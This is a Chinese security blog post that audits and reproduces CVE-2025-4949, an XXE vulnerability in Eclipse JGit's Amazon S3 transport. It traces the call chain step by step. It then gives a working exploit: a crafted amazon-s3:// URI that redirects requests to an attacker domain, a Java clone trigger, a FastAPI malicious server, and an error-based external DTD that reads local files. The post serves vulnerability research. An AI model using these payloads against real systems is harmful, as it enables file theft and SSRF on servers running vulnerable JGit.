【代码审计&漏洞复现】Eclipse JGit XXE漏洞 CVE-2025-4949
【代码审计&漏洞复现】Eclipse JGit XXE漏洞 CVE-2025-4949
闪石星曜CyberSecurity 2025-06-11 03:49
👉 本人是一名想当黑客的安全工程师,欢迎您的阅读,期待您的关注。
💡 本公众号记录方向:渗透测试|代码审计|SDLC建设。
文章导读
- 本文记录 Eclipse JGit XXE 漏洞的发现和利用过程。
- JGit 是一个 Java 实现的 Git 操作库,广泛应用于 Java 程序中需要处理远端 Git 仓库的场景(例如代码拉取)。
背景
去年我在挖某安全厂商 SRC 时发现他们集成了 JGit,顺便挖到了这个漏洞,本文将详细记录该漏洞的审计过程、及复现方法。
(备注:这个CVE不是我提的)
不看笔记历史还不知道自己这么晚了还在学习~。
代码审计过程
1. 定位Sink点
通过Fortify扫描发现,在
AmazonS3.java
文件中存在 XML 解析逻辑,其解析源为 HTTP 响应返回的 XML 内容,且未禁用外部DTD和外部实体。
扫描器虽定位到
Sink
点,但未给出完整漏洞利用链,接下来的重点在于确定 HTTP 请求的目标 URL 是否可被外部用户控制。
2. 逆向追踪
在知道Sink点之后,接下来就是长时间的
Find Usages
,想找到漏洞利用入口,终于皇天不负有心人,眼睛瞎了。
3. 正向追踪
- 既然逆向审计的方式无法快速还原漏洞利用链,那就尝试正向审计,前面提到我是在审计某个安全设备的漏洞,那就从它的功能点入手,用户可输入
Git仓库地址
。
- 后端接收到参数,通过
JGit
进行代码下载。
- 通过在
Git.cloneRepository().call()
方法设置 Debug 断点并进行调试,最终梳理出触发 XXE 的完整链路。
4. 关键漏洞利用链分析
4.1 识别URI
- 用户输入的 URI 会经过
org.eclipse.jgit.transport.URIish
解析,识别其
scheme
、
user
、
pass
。
- 当前测试的Payload:
https://github.com/WebGoat/WebGoat
4.2 匹配Transport
- org.eclipse.jgit.transport.Transport#open
遍历8个
Transport
,将用户输入的URI传入其
canHandle
方法中进行匹配,如果返回为
true
,则调用指定
Transport
进行后续业务。
- canHandle
校验URI的scheme是否和预期的scheme一致,
TransportAmazonS3
的scheme是
amazon-s3
。
- 校验必要字段是否为空,除了scheme要匹配,还有4个字段需要不为空,虽然图片上只有3个字段,但后续的其他业务过程中还校验了pass字段。
- 为了可以让我们顺利进入
TransportAmazonS3
当前测试所用payload:
amazon-s3://user:pass@test/
(注意:最后有一个斜杠,不然path会为空,无法通过必要字段校验。)这里的
test
字符串是bucket,bucket是我们后续的重点。
4.3 触发第一个 HTTP 请求
- org.eclipse.jgit.transport.WalkRemoteObjectDatabase#readPackedRefs
最终调用 s3.get(bucket, key)。其中 bucket 来自用户输入 (test),key 固定为 packed-refs。 - URL拼接规则:http://{bucket}.s3.amazonaws.com/{key}
- 问题
:拼接完的URL:
http://test.s3.amazonaws.com/packed-refs
, 虽然bucket被拼接到了URL中,但是现在的URL最终请求的域名还是
s3.amazonaws.com
。我们的目标是让它访问我们自己的域名,这样我们才能控制返回包的内容,并注入XXE-payload。 - 绕过思路
:聪明的你已经想到了,我们可以利用 URL 特性,通过
问号(?)
分割域名与参数,使
s3.amazonaws.com
变为参数部分。而bucket指定一个我们自己的域名。 - 修改后的payload
:
amazon-s3://user:[email protected]?/ - 最终生成的URL是:
http://xxoo.pro?
.s3.amazonaws.com/%2Fpacked-refs
通过问号截断,s3的域名就成为了参数,请求的域名是我们自己的域名xxoo.pro。
4.4 域名长度限制
- 不出意外的话,就出意外了,因为在发起请求之前还会经过
authorize
方法,这里会对域名做切分处理,如果长度小于16(
s3.amazonaws.com
的长度),就会出现索引错误了。
– 调整后的payload:
amazon-s3://user:[email protected]?/
4.5 处理第一个响应包
- org.eclipse.jgit.transport.WalkRemoteObjectDatabase#readPackedRefsImpl
方法会对上面的第一个请求的响应包进行解析,看是否符合自己的预期,因为不涉及XML的解析,我们只需要使其不报错即可。 - 我们让
http://src123456.xxoo.pro?
.s3.amazonaws.com/%2Fpacked-refs
返回
test
即可。
– 编写接口返回,这里我用fastapi写了一个接口。(文末会贴上完整接口信息)
4.6 触发第二个HTTP请求,触发XXE
- 第二个请求是在
org.eclipse.jgit.transport.TransportAmazonS3.DatabaseS3#readLooseRefs
中的
s3.list()
—
lp.list()
方法中触发。
- 请求接口并对XML进行解析
- 第二次请求的URL:
http://src123456.xxoo.pro?.s3.amazonaws.com/?prefix=/refs/ - payload无需修改,最终payload:
amazon-s3://user:[email protected]?/
4.7 处理第二个响应包
- 两个请求的URL路径都是一样的,只是参数不一样,所以我们需要修改我们的API接口,使其可以同时兼容这两个请求。
- 当我们请求的参数中包含prefix,我们就返回XXE的payload,其他情况就返回#test。
效果展示
通过报错的方式读取到了指定文件中的内容。
小结
- 该漏洞被利用的前提:被攻击服务器要可以访问到攻击者部署的恶意web
- 漏洞危害
- 如果报错信息会在接口中返回,就可以实现读取系统文件内容的效果。
- 如果系统不返回报错信息,就只能通过HTTP/FTP外带读取有限的数据。
- 可以实现SSRF,但感觉作用不大,而且一般JGit在内网用的比较多。
漏洞复现完整代码
导入依赖
<dependency>
<groupId>org.eclipse.jgit</groupId>
<artifactId>org.eclipse.jgit</artifactId>
<version>5.12.0.202106070339-r</version>
</dependency>
Payload
package com.nixsolutions.xxe_demo;
import org.eclipse.jgit.api.Git;
import org.eclipse.jgit.api.errors.GitAPIException;
import org.eclipse.jgit.transport.CredentialsProvider;
import org.eclipse.jgit.transport.UsernamePasswordCredentialsProvider;
import org.junit.Test;
import java.io.File;
public class JgitTest {
public void clone(File outputDir, String branch, String uri, String user, String pwd) throws GitAPIException {
CredentialsProvider credentials = new UsernamePasswordCredentialsProvider(user, pwd == null ? "" : pwd);
try {
Git.cloneRepository()
.setURI(uri)
.setBare(false)
.setBranch(branch)
.setDirectory(outputDir)
.setCredentialsProvider(credentials)
.call();
} catch (Exception e) {
e.printStackTrace();
}
}
@Test
public void test() throws GitAPIException {
String url = "amazon-s3://user:[email protected]?/";
// String url = "http1://github.com/WebGoat/WebGoat";
clone(new File("/tmp/code/"), "master", url, "123", "333");
}
}
恶意服务端返回包(FastAPI 示例)
from fastapi import FastAPI, Request
from fastapi.responses import PlainTextResponse
app = FastAPI()
payload = '''<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:8000/error.dtd">
<data>&send;</data>'''
@app.get("/", response_class=PlainTextResponse)
async def root(request: Request):
raw_query = request.url.query
print(raw_query)
if "prefix" in raw_query:
return payload
return "#test"
if __name__ == "__main__":
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=80)
XXE-Payload
<!ENTITY % file SYSTEM "file:///tmp/mm.txt">
<!ENTITY % filename "mm.txt">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///%filename; 文件内容:%file;'>">
%eval;
%error;